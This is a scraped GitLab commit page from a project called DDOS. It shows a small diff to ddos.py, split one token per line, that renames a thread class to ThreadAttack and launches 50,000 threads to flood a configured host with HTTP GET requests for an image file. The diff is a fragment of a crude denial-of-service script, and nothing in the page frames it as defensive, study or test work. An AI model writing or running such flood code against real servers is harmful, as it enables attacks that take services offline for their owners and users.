Skip to content
GitLab
Explore
Sign in
Primary navigation
Search or go to…
Project
D
DDOS
Manage
Activity
Members
Labels
Plan
Issues
Issue boards
Milestones
Wiki
Code
Merge requests
Repository
Branches
Commits
Tags
Repository graph
Compare revisions
Snippets
Build
Pipelines
Jobs
Pipeline schedules
Artifacts
Deploy
Releases
Model registry
Operate
Environments
Monitor
Incidents
Analyze
Value stream analytics
Contributor analytics
CI/CD analytics
Repository analytics
Model experiments
Help
Help
Support
GitLab documentation
Compare GitLab plans
GitLab community forum
Contribute to GitLab
Provide feedback
Keyboard shortcuts
?
Snippets
Groups
Projects
Show more breadcrumbs
francois.hofer
DDOS
Commits
7f370cdb
Commit
7f370cdb
authored
Jun 15, 2020
by
francois.hofer
Browse files
Options
Downloads
Patches
Plain Diff
Class ThreadAttack created go to test !
parent
fc13fe93
No related branches found
No related tags found
No related merge requests found
Changes
1
Show whitespace changes
Inline
Side-by-side
Showing
1 changed file
ddos.py
+5
-4
5 additions, 4 deletions
ddos.py
with
5 additions
and
4 deletions
ddos.py
+
5
−
4
View file @
7f370cdb
...
...
@@ -10,8 +10,9 @@ FIL_DIR = "/Image.jpg"
PATH
=
PREFIX
+
HOST
+
"
:
"
+
PORT
+
FIL_DIR
req
=
requests
.
get
(
PATH
)
ATTACK_FORCE
=
0.1
class
Thread
Creator
(
threading
.
Thread
):
class
Thread
Attack
(
threading
.
Thread
):
def
__init__
(
self
):
threading
.
Thread
.
__init__
(
self
)
...
...
@@ -22,7 +23,7 @@ class ThreadCreator(threading.Thread):
def
create_thread
(
n
:
int
):
threads
=
[]
for
i
in
range
(
n
):
threads
.
append
(
Thread
Creator
())
threads
.
append
(
Thread
Attack
())
return
threads
@staticmethod
...
...
@@ -32,5 +33,5 @@ class ThreadCreator(threading.Thread):
time
.
sleep
(
attack_force
)
threads_list
=
Thread
Creator
.
create_thread
(
50000
)
Thread
Creator
.
launch_attack
(
threads_list
,
0.1
)
threads_list
=
Thread
Attack
.
create_thread
(
50000
)
Thread
Attack
.
launch_attack
(
threads_list
,
ATTACK_FORCE
)
This diff is collapsed.
Click to expand it.
Preview
0%
Loading
Try again
or
attach a new file
.
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Save comment
Cancel
Please
sign in
to comment